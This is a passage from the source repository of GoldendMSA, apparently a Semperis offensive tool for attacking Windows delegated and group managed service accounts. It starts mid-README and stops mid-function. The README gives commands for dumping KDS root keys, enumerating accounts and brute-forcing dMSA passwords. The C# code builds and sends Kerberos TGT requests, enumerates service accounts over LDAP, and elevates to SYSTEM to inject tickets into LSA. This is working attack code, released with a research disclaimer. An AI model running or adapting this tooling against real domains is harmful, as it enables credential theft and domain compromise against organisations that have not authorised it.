to NTLM, AES128, AES256: 41 | ``` 42 | $ GoldendMSA.exe convert -d -u -p 43 | ``` 44 | 45 | Create a wordlist for dMSA's password bruteforcing: 46 | ``` 47 | $ GoldendMSA.exe wordlist -s -d -f -k 48 | ``` 49 | ![image](assets/Wordlist.jpg) 50 | 51 | 52 | Gathers info on dMSAs/gMSAs based on ldap or RID enumeration: 53 | ``` 54 | $ GoldendMSA.exe info -d -m ldap 55 | $ GoldendMSA.exe info -d -m brute -u -p -o -s 56 | $ GoldendMSA.exe info -d -m brute -u -p -o -r 57 | ``` 58 | ![image](assets/Info.jpg) 59 | 60 | 61 | Gathers info on KDS root keys (requires Enterprise admins permissions): 62 | ``` 63 | $ GoldendMSA.exe kds 64 | $ GoldendMSA.exe kds -g 65 | ``` 66 | ![image](assets/Kds.jpg) 67 | 68 | 69 | Gathers info on KDS root keys (requires SYSTEM permissions on a DC): 70 | ``` 71 | $ GoldendMSA.exe kds --domain 72 | ``` 73 | 74 | Bruteforce dMSA's password: 75 | ``` 76 | $ GoldendMSA.exe bruteforce -s -i -k -d -u -t 77 | $ GoldendMSA.exe bruteforce -s -i -k -d -u -v 78 | ``` 79 | ![image](assets/Bruteforce.jpg) 80 | 81 | ## License 82 | 83 | Disclaimer: This project is licensed under the terms of the BSD 3-Clause license, and is provided for educational and informational purposes only. It is intended to promote awareness and responsible remediation of security vulnerabilities that may exist on systems you own or are authorized to test. Unauthorized use of this information for malicious purposes, exploitation, or unlawful access is strictly prohibited. Semperis does not endorse or condone any illegal activity and disclaims any liability arising from misuse of the material. Additionally, Semperis does not guarantee the accuracy or completeness of the content and assumes no liability for any damages resulting from its use. 84 | 85 | ## Reference 86 | 87 | - https://github.com/Semperis/GoldenGMSA 88 | - https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/ 89 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/EncKDCRepPart.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class EncKDCRepPart 9 | { 10 | //EncKDCRepPart::= SEQUENCE { 11 | // key[0] EncryptionKey, 12 | // last-req[1] LastReq, 13 | // nonce[2] UInt32, 14 | // key-expiration[3] KerberosTime OPTIONAL, 15 | // flags[4] TicketFlags, 16 | // authtime[5] KerberosTime, 17 | // starttime[6] KerberosTime OPTIONAL, 18 | // endtime[7] KerberosTime, 19 | // renew-till[8] KerberosTime OPTIONAL, 20 | // srealm[9] Realm, 21 | // sname[10] PrincipalName, 22 | // caddr[11] HostAddresses OPTIONAL, 23 | // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL 24 | //} 25 | 26 | public EncKDCRepPart(AsnElt body) 27 | { 28 | foreach (AsnElt s in body.Sub) 29 | { 30 | switch (s.TagValue) 31 | { 32 | case 0: 33 | key = new EncryptionKey(s); 34 | break; 35 | case 1: 36 | lastReq = new LastReq(s.Sub[0]); 37 | break; 38 | case 2: 39 | nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); 40 | break; 41 | case 3: 42 | key_expiration = s.Sub[0].GetTime(); 43 | break; 44 | case 4: 45 | UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); 46 | byte[] tempBytes = BitConverter.GetBytes(temp); 47 | flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); 48 | break; 49 | case 5: 50 | authtime = s.Sub[0].GetTime(); 51 | break; 52 | case 6: 53 | starttime = s.Sub[0].GetTime(); 54 | break; 55 | case 7: 56 | endtime = s.Sub[0].GetTime(); 57 | break; 58 | case 8: 59 | renew_till = s.Sub[0].GetTime(); 60 | break; 61 | case 9: 62 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 63 | break; 64 | case 10: 65 | // sname (optional) 66 | sname = new PrincipalName(s.Sub[0]); 67 | break; 68 | case 11: 69 | // HostAddresses, skipped for now 70 | break; 71 | case 12: 72 | encryptedPaData = new EncryptedPAData(s.Sub[0]); 73 | break; 74 | default: 75 | break; 76 | } 77 | } 78 | } 79 | 80 | // won't really ever need to *create* a KDC reply, so no Encode() 81 | 82 | public EncryptionKey key { get; set; } 83 | 84 | public LastReq lastReq { get; set; } 85 | 86 | public UInt32 nonce { get; set; } 87 | 88 | public DateTime key_expiration { get; set; } 89 | 90 | public Interop.TicketFlags flags { get; set; } 91 | 92 | public DateTime authtime { get; set; } 93 | 94 | public DateTime starttime { get; set; } 95 | 96 | public DateTime endtime { get; set; } 97 | 98 | public DateTime renew_till { get; set; } 99 | 100 | public string realm { get; set; } 101 | 102 | public PrincipalName sname { get; set; } 103 | 104 | // caddr (optional) - skip for now 105 | 106 | public EncryptedPAData encryptedPaData { get; set; } 107 | } 108 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KRB_ERROR.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class KRB_ERROR : Exception 9 | { 10 | //KRB-ERROR ::= [APPLICATION 30] SEQUENCE { 11 | // pvno [0] INTEGER (5), 12 | // msg-type [1] INTEGER (30), 13 | // ctime [2] KerberosTime OPTIONAL, 14 | // cusec [3] Microseconds OPTIONAL, 15 | // stime [4] KerberosTime, 16 | // susec [5] Microseconds, 17 | // error-code [6] Int32, 18 | // crealm [7] Realm OPTIONAL, 19 | // cname [8] PrincipalName OPTIONAL, 20 | // realm [9] Realm -- service realm --, 21 | // sname [10] PrincipalName -- service name --, 22 | // e-text [11] KerberosString OPTIONAL, 23 | // e-data [12] OCTET STRING OPTIONAL 24 | //} 25 | 26 | 27 | public KRB_ERROR(AsnElt body) 28 | { 29 | foreach (AsnElt s in body.Sub) 30 | { 31 | switch (s.TagValue) 32 | { 33 | case 0: 34 | pvno = Convert.ToUInt32(s.Sub[0].GetInteger()); 35 | break; 36 | case 1: 37 | msg_type = Convert.ToUInt32(s.Sub[0].GetInteger()); 38 | break; 39 | case 2: 40 | ctime = s.Sub[0].GetTime(); 41 | break; 42 | case 3: 43 | cusec = Convert.ToUInt32(s.Sub[0].GetInteger()); 44 | break; 45 | case 4: 46 | stime = s.Sub[0].GetTime(); 47 | break; 48 | case 5: 49 | susec = Convert.ToUInt32(s.Sub[0].GetInteger()); 50 | break; 51 | case 6: 52 | error_code = Convert.ToUInt32(s.Sub[0].GetInteger()); 53 | break; 54 | case 7: 55 | crealm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 56 | break; 57 | case 8: 58 | cname = new PrincipalName(s.Sub[0]); 59 | break; 60 | case 9: 61 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 62 | break; 63 | case 10: 64 | sname = new PrincipalName(s.Sub[0]); 65 | break; 66 | case 11: 67 | e_text = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 68 | break; 69 | case 12: 70 | try 71 | { 72 | e_data = new List(); 73 | AsnElt tmpData = AsnElt.Decode(s.Sub[0].GetOctetString()); 74 | foreach (AsnElt tmp in tmpData.Sub) 75 | { 76 | e_data.Add(new PA_DATA(tmp)); 77 | } 78 | } 79 | catch (NullReferenceException) 80 | { 81 | e_data = null; 82 | } 83 | break; 84 | default: 85 | break; 86 | } 87 | } 88 | } 89 | 90 | // don't ever really need to create a KRB_ERROR structure manually, so no Encode() 91 | 92 | public long pvno { get; set; } 93 | 94 | public long msg_type { get; set; } 95 | 96 | public DateTime ctime { get; set; } 97 | 98 | public long cusec { get; set; } 99 | 100 | public DateTime stime { get; set; } 101 | 102 | public long susec { get; set; } 103 | 104 | public long error_code { get; set; } 105 | 106 | public string crealm { get; set; } 107 | 108 | public PrincipalName cname { get; set; } 109 | 110 | public string realm { get; set; } 111 | 112 | public PrincipalName sname { get; set; } 113 | 114 | public string e_text { get; set; } 115 | 116 | public List e_data { get; set; } 117 | 118 | //public Ticket[] tickets { get; set; } 119 | public List tickets { get; set; } 120 | 121 | public EncKrbCredPart enc_part { get; set; } 122 | } 123 | } -------------------------------------------------------------------------------- /GoldendMSA/LSA.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Runtime.InteropServices; 4 | 5 | 6 | namespace GoldendMSA { 7 | public class LSA 8 | { 9 | public static IntPtr GetLsaHandle(bool elevateToSystem = true) 10 | { 11 | IntPtr lsaHandle = IntPtr.Zero; 12 | 13 | if (Helpers.IsHighIntegrity() && elevateToSystem && !Helpers.IsSystem()) 14 | { 15 | if (!Helpers.GetSystem()) 16 | { 17 | throw new Exception("Could not elevate to system"); 18 | } 19 | 20 | Interop.LsaConnectUntrusted(out lsaHandle); 21 | Interop.RevertToSelf(); 22 | 23 | } else { 24 | Interop.LsaConnectUntrusted(out lsaHandle); 25 | } 26 | 27 | return lsaHandle; 28 | } 29 | 30 | public static void ImportTicket(byte[] ticket, LUID targetLuid) 31 | { 32 | 33 | var lsaHandle = GetLsaHandle(); 34 | int AuthenticationPackage; 35 | int ntstatus, ProtocalStatus; 36 | 37 | if ((ulong)targetLuid != 0) 38 | { 39 | if (!Helpers.IsHighIntegrity()) 40 | { 41 | Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session"); 42 | return; 43 | } 44 | } 45 | 46 | var inputBuffer = IntPtr.Zero; 47 | IntPtr ProtocolReturnBuffer; 48 | int ReturnBufferLength; 49 | try 50 | { 51 | Interop.LSA_STRING_IN LSAString; 52 | var Name = "kerberos"; 53 | LSAString.Length = (ushort)Name.Length; 54 | LSAString.MaximumLength = (ushort)(Name.Length + 1); 55 | LSAString.Buffer = Name; 56 | ntstatus = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out AuthenticationPackage); 57 | if (ntstatus != 0) 58 | { 59 | var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); 60 | var errorMessage = new Win32Exception((int)winError).Message; 61 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); 62 | return; 63 | } 64 | var request = new Interop.KERB_SUBMIT_TKT_REQUEST(); 65 | request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage; 66 | request.KerbCredSize = ticket.Length; 67 | request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)); 68 | 69 | if ((ulong)targetLuid != 0) 70 | { 71 | Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); 72 | request.LogonId = targetLuid; 73 | } 74 | 75 | var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length; 76 | inputBuffer = Marshal.AllocHGlobal(inputBufferSize); 77 | Marshal.StructureToPtr(request, inputBuffer, false); 78 | Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length); 79 | ntstatus = Interop.LsaCallAuthenticationPackage(lsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); 80 | if (ntstatus != 0) 81 | { 82 | var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); 83 | var errorMessage = new Win32Exception((int)winError).Message; 84 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); 85 | return; 86 | } 87 | if (ProtocalStatus != 0) 88 | { 89 | var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); 90 | var errorMessage = new Win32Exception((int)winError).Message; 91 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage); 92 | return; 93 | } 94 | Console.WriteLine("[+] Ticket successfully imported!"); 95 | } 96 | finally 97 | { 98 | if (inputBuffer != IntPtr.Zero) 99 | Marshal.FreeHGlobal(inputBuffer); 100 | 101 | Interop.LsaDeregisterLogonProcess(lsaHandle); 102 | } 103 | } 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/AS_REQ.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Net; 6 | using System.Security.Cryptography.X509Certificates; 7 | 8 | namespace GoldendMSA 9 | { 10 | //AS-REQ ::= [APPLICATION 10] KDC-REQ 11 | 12 | //KDC-REQ ::= SEQUENCE { 13 | // -- NOTE: first tag is [1], not [0] 14 | // pvno [1] INTEGER (5) , 15 | // msg-type [2] INTEGER (10 -- AS), 16 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL 17 | // -- NOTE: not empty --, 18 | // req-body [4] KDC-REQ-BODY 19 | //} 20 | 21 | public class AS_REQ 22 | { 23 | 24 | public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE suppEtype) 25 | { 26 | // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP 27 | // used for "legit" AS-REQs w/ pre-auth 28 | 29 | // set pre-auth 30 | AS_REQ req = new AS_REQ(keyString, etype, false, true); 31 | 32 | // req.padata.Add() 33 | 34 | // set the username to request a TGT for 35 | req.req_body.cname.name_string.AddRange(userName.Split('/')); 36 | req.req_body.cname.name_type = Helpers.StringToPrincipalType("principal"); 37 | 38 | // the realm (domain) the user exists in 39 | req.req_body.realm = domain; 40 | 41 | // KRB_NT_SRV_INST = 2 42 | // service and other unique instance (krbtgt) 43 | req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; 44 | req.req_body.sname.name_string.Add("krbtgt"); 45 | req.req_body.sname.name_string.Add(domain); 46 | 47 | 48 | // add in our encryption type 49 | req.req_body.etypes.Add(suppEtype); 50 | 51 | 52 | return req; 53 | } 54 | 55 | 56 | public AS_REQ(string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool pac = true) //42 57 | { 58 | // default, for creation 59 | pvno = 5; 60 | msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ; 61 | 62 | padata = new List(); 63 | 64 | // add the encrypted timestamp 65 | padata.Add(new PA_DATA(keyString, etype)); 66 | 67 | // add the include-pac == true 68 | padata.Add(new PA_DATA(pac)); 69 | 70 | req_body = new KDCReqBody(true, opsec); 71 | 72 | this.keyString = keyString; 73 | } 74 | 75 | 76 | public AsnElt Encode() 77 | { 78 | // pvno [1] INTEGER (5) 79 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 80 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); 81 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); 82 | 83 | 84 | // msg-type [2] INTEGER (10 -- AS -- ) 85 | AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); 86 | AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); 87 | msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); 88 | 89 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL 90 | List padatas = new List(); 91 | foreach (PA_DATA pa in padata) 92 | { 93 | padatas.Add(pa.Encode()); 94 | } 95 | 96 | // req-body [4] KDC-REQ-BODY 97 | AsnElt req_Body_ASN = req_body.Encode(); 98 | AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); 99 | req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); 100 | 101 | AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); 102 | AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); 103 | padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); 104 | 105 | // encode it all into a sequence 106 | AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; 107 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); 108 | 109 | // AS-REQ ::= [APPLICATION 10] KDC-REQ 110 | // put it all together and tag it with 10 111 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 112 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq); 113 | 114 | return totalSeq; 115 | } 116 | 117 | public long pvno { get; set;} 118 | 119 | public long msg_type { get; set; } 120 | 121 | //public PAData[] padata { get; set; } 122 | public List padata { get; set; } 123 | 124 | public KDCReqBody req_body { get; set; } 125 | 126 | //Ugly hack to make keyString available to 127 | //the generic InnerTGT function 128 | public string keyString { get; set; } 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /GoldendMSA/GmsaAccount.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.Linq; 5 | using System.Reflection; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace GoldendMSA 11 | { 12 | public sealed class GmsaAccount 13 | { 14 | private static readonly string[] GmsaRequiredLdapAttributes = { "msds-ManagedPasswordID", "samAccountName", "objectSid", "samAccountName", "distinguishedName" }; 15 | private static readonly string MsdsManagedPasswordIDAttributeName = "msds-ManagedPasswordID"; 16 | private static readonly string IsGmsaAccountLdapFilter = "(objectCategory=msDS-GroupManagedServiceAccount)"; 17 | 18 | public string DistinguishedName { get; private set; } 19 | 20 | public string SamAccountName { get; private set; } 21 | public SecurityIdentifier Sid { get; private set; } 22 | public MsdsManagedPasswordId ManagedPasswordId { get; private set; } 23 | 24 | 25 | private GmsaAccount( 26 | string samAccountName, 27 | string dn, 28 | SecurityIdentifier sid, 29 | MsdsManagedPasswordId pwdId) 30 | { 31 | DistinguishedName = dn; 32 | ManagedPasswordId = pwdId; 33 | Sid = sid; 34 | SamAccountName = samAccountName; 35 | } 36 | 37 | /// 38 | /// Returns GMSA account information given its SID 39 | /// 40 | /// FQDN of the domain to search 41 | /// The SID of the GMSA 42 | /// 43 | public static GmsaAccount GetGmsaAccountBySid(string domainFqdn, SecurityIdentifier sid) 44 | { 45 | if (sid is null) 46 | throw new ArgumentNullException(nameof(sid)); 47 | 48 | if (domainFqdn is null) 49 | throw new ArgumentNullException(nameof(domainFqdn)); 50 | 51 | string ldapFilter = $"(&{IsGmsaAccountLdapFilter}(objectsid={sid}))"; 52 | var results = LdapUtils.FindInDomain(domainFqdn, ldapFilter, GmsaRequiredLdapAttributes); 53 | 54 | if (results == null || results.Count == 0) 55 | return null; 56 | 57 | return GetGmsaFromSearchResult(results[0]); 58 | } 59 | 60 | /// 61 | /// Returns all GMSA account in domain 62 | /// 63 | /// FQDN of the domain to search 64 | /// 65 | public static IEnumerable FindAllGmsaAccountsInDomain(string domainFqdn) 66 | { 67 | if (string.IsNullOrEmpty(domainFqdn)) 68 | { 69 | throw new ArgumentException($"'{nameof(domainFqdn)}' cannot be null or empty.", nameof(domainFqdn)); 70 | } 71 | 72 | var results = LdapUtils.FindInDomain(domainFqdn, IsGmsaAccountLdapFilter, GmsaRequiredLdapAttributes); 73 | 74 | if (results == null) 75 | yield break; 76 | 77 | foreach (SearchResult sr in results) 78 | { 79 | GmsaAccount gmsa = null; 80 | try 81 | { 82 | gmsa = GetGmsaFromSearchResult(sr); 83 | } 84 | catch (Exception ex) 85 | { 86 | Console.WriteLine($"WARNING: {sr.Properties["distinguishedName"][0]}: {ex.Message}"); 87 | } 88 | 89 | if (gmsa != null) 90 | yield return gmsa; 91 | } 92 | } 93 | 94 | private static GmsaAccount GetGmsaFromSearchResult(SearchResult sr) 95 | { 96 | if (sr is null) 97 | { 98 | throw new ArgumentNullException(nameof(sr)); 99 | } 100 | 101 | foreach (var attr in GmsaRequiredLdapAttributes) 102 | { 103 | if (!sr.Properties.Contains(attr)) 104 | throw new KeyNotFoundException($"Attribute {attr} was not found"); 105 | } 106 | 107 | string dn = sr.Properties["distinguishedName"][0].ToString(); 108 | 109 | var pwdBlob = (byte[])(sr.Properties[MsdsManagedPasswordIDAttributeName][0]); 110 | var pwdId = new MsdsManagedPasswordId(pwdBlob); 111 | 112 | var sid = new SecurityIdentifier((byte[])sr.Properties["objectSid"][0], 0); 113 | 114 | var samId = sr.Properties["samAccountName"][0].ToString(); 115 | 116 | return new GmsaAccount(samId, dn, sid, pwdId); 117 | } 118 | 119 | 120 | 121 | public override string ToString() 122 | { 123 | string result = $"sAMAccountName:\t\t{this.SamAccountName}{Environment.NewLine}"; 124 | result += $"objectSid:\t\t\t{this.Sid}{Environment.NewLine}"; 125 | result += $"rootKeyGuid:\t\t{this.ManagedPasswordId.RootKeyIdentifier}{Environment.NewLine}"; 126 | result += $"msds-ManagedPasswordID:\t{Convert.ToBase64String(this.ManagedPasswordId.MsdsManagedPasswordIdBytes)}{Environment.NewLine}"; 127 | result += $"----------------------------------------------{Environment.NewLine}"; 128 | 129 | return result; 130 | } 131 | } 132 | } -------------------------------------------------------------------------------- /GoldendMSA/LdapUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.DirectoryServices.ActiveDirectory; 5 | using System.Linq; 6 | using System.Net; 7 | 8 | 9 | namespace GoldendMSA 10 | { 11 | public static class LdapUtils 12 | { 13 | public static SearchResultCollection FindInConfigPartition(string domainFqdn, string ldapFilter, string[] attributes) 14 | { 15 | using (var de = GetConfigNamingContextDe(domainFqdn)) 16 | using (var ds = new DirectorySearcher(de, ldapFilter, attributes)) 17 | { 18 | ds.PageSize = 100; 19 | SearchResultCollection results = ds.FindAll(); 20 | if (results == null) 21 | { 22 | throw new Exception($"Could not find any results using LDAP filter: {ldapFilter}"); 23 | } 24 | return results; 25 | } 26 | } 27 | public static SearchResultCollection FindInDomain(string domainFqdn, string ldapFilter, string[] attributes) 28 | { 29 | using (var de = GetDefaultNamingContextDe(domainFqdn)) 30 | using (var ds = new DirectorySearcher(de, ldapFilter, attributes)) 31 | { 32 | ds.PageSize = 100; 33 | SearchResultCollection results = ds.FindAll(); 34 | if (results == null) 35 | { 36 | throw new Exception($"Could not find any results using LDAP filter: {ldapFilter}"); 37 | } 38 | return results; 39 | } 40 | } 41 | 42 | private static DirectoryEntry GetDefaultNamingContextDe(string domainName) 43 | { 44 | using (var rootDse = GetRootDse(domainName)) 45 | { 46 | string adsPAth = $"LDAP://{domainName}/{rootDse.Properties["defaultNamingContext"].Value}"; 47 | return new DirectoryEntry(adsPAth); 48 | } 49 | } 50 | 51 | private static DirectoryEntry GetConfigNamingContextDe(string domainName) 52 | { 53 | using (var rootDse = GetRootDse(domainName)) 54 | { 55 | string adsPAth = $"LDAP://{domainName}/{rootDse.Properties["configurationNamingContext"].Value}"; 56 | return new DirectoryEntry(adsPAth); 57 | } 58 | } 59 | 60 | public static (string fqdn, string ip) GetDomainControllerInfoAlt(string domainName) 61 | { 62 | try 63 | { 64 | // Get domain context 65 | var context = new DirectoryContext(DirectoryContextType.Domain, domainName); 66 | var domain = Domain.GetDomain(context); 67 | // Get primary domain controller 68 | var dc = domain.PdcRoleOwner; 69 | var dcFqdn = dc.Name; 70 | 71 | // Resolve IP address 72 | var ipAddresses = Dns.GetHostAddresses(dcFqdn); 73 | var dcIp = ipAddresses.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)?.ToString(); 74 | 75 | if (string.IsNullOrEmpty(dcIp)) 76 | { 77 | throw new Exception($"Could not resolve IP address for {dcFqdn}"); 78 | } 79 | 80 | return (dcFqdn, dcIp); 81 | } 82 | catch (Exception ex) 83 | { 84 | throw new Exception($"Failed to get domain controller using DirectoryServices: {ex.Message}"); 85 | } 86 | } 87 | 88 | public static DirectoryEntry GetRootDse(string domainName) 89 | { 90 | return new DirectoryEntry($"LDAP://{domainName}/RootDSE"); 91 | } 92 | 93 | private static String ExtractGMSAInfo(SearchResult result, bool samaccountname) 94 | { 95 | 96 | if (samaccountname) 97 | { 98 | return result.Properties["sAMAccountName"][0]?.ToString(); 99 | } 100 | return Uri.UnescapeDataString(new Uri(result.Properties["adsPath"][0]?.ToString()).AbsolutePath.TrimStart('/')); 101 | 102 | } 103 | 104 | public static List SearchForGMSAsDirectly(string remoteName, bool attribute,string domain, string username = "", string password = "") 105 | { 106 | List gmsaList = new List(); 107 | 108 | try 109 | { 110 | string ldapPath = $"LDAP://{remoteName}"; 111 | DirectoryEntry rootEntry; 112 | 113 | if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password)) 114 | { 115 | rootEntry = new DirectoryEntry(ldapPath, $"{domain}\\{username}", password, 116 | AuthenticationTypes.Secure); 117 | } 118 | else 119 | { 120 | rootEntry = new DirectoryEntry(ldapPath); 121 | } 122 | 123 | using (rootEntry) 124 | using (var searcher = new DirectorySearcher(rootEntry)) 125 | { 126 | // Direct LDAP filter for GMSAs 127 | searcher.Filter = "(&(|(objectClass=msDS-GroupManagedServiceAccount)(&(sAMAccountName=*$)(objectCategory=person)(objectClass=user))(objectCategory=msDS-ManagedServiceAccount)(objectClass=trustedDomain)(objectClass=computer))(!(objectClass=msDS-DelegatedManagedServiceAccount)))"; 128 | searcher.PropertiesToLoad.AddRange(new[] { 129 | "sAMAccountName" 130 | }); 131 | 132 | var results = searcher.FindAll(); 133 | 134 | foreach (SearchResult result in results) 135 | { 136 | try 137 | { 138 | string gmsa = ExtractGMSAInfo(result, attribute); 139 | gmsaList.Add(gmsa); 140 | } 141 | catch (Exception ex) 142 | { 143 | } 144 | } 145 | } 146 | } 147 | catch (Exception ex) 148 | { 149 | Console.WriteLine($"[X] Error during direct GMSA search: {ex.Message}"); 150 | } 151 | return gmsaList; 152 | } 153 | } 154 | } -------------------------------------------------------------------------------- /GoldendMSA/GoldendMSA.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9A42C0A1-4392-483D-962B-27EE765D17BA} 8 | Exe 9 | goldendMSA 10 | goldendMSA 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | x64 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | ..\packages\CommandLineParser.2.9.1\lib\net461\CommandLine.dll 39 | 40 | 41 | ..\packages\Figgle.0.6.1\lib\netstandard2.0\Figgle.dll 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /GoldendMSA/Ask.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | 4 | namespace GoldendMSA { 5 | 6 | public class Ask 7 | { 8 | public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, Interop.KERB_ETYPE suppEtype, bool verbose = false) 9 | { 10 | AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, suppEtype); 11 | return InnerTGT(userHashASREQ, etype, ptt, domain, verbose); 12 | } 13 | 14 | public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, bool ptt, string domain = "", bool verbose = false, bool opsec = false) 15 | { 16 | 17 | byte[] response = null; 18 | string dcIP = null; 19 | 20 | 21 | dcIP = (LdapUtils.GetDomainControllerInfoAlt(domain)).ip; 22 | if (String.IsNullOrEmpty(dcIP)) 23 | { 24 | throw new Exception("[X] Unable to get domain controller address"); 25 | } 26 | if (verbose) 27 | { 28 | Console.WriteLine(""); 29 | } 30 | response = Helpers.SendBytes(dcIP, 88, asReq.Encode().Encode()); 31 | 32 | if (response == null) 33 | { 34 | throw new Exception("[X] No answer from domain controller"); 35 | } 36 | 37 | // decode the supplied bytes to an AsnElt object 38 | AsnElt responseAsn; 39 | try 40 | { 41 | responseAsn = AsnElt.Decode(response); 42 | } 43 | catch(Exception e) 44 | { 45 | throw new Exception($"Error parsing response AS-REQ: {e}. Base64 response: {Convert.ToBase64String(response)}"); 46 | } 47 | 48 | // check the response value 49 | int responseTag = responseAsn.TagValue; 50 | 51 | if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) 52 | { 53 | if (verbose) 54 | { 55 | Console.WriteLine("[+] TGT request successful!"); 56 | } 57 | 58 | byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, ptt, verbose, asReq, dcIP); 59 | 60 | return kirbiBytes; 61 | } 62 | else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) 63 | { 64 | // parse the response to an KRB-ERROR 65 | KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); 66 | 67 | throw error; 68 | } 69 | else 70 | { 71 | throw new Exception("[X] Unknown application tag: " + responseTag); 72 | } 73 | } 74 | 75 | 76 | public static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string 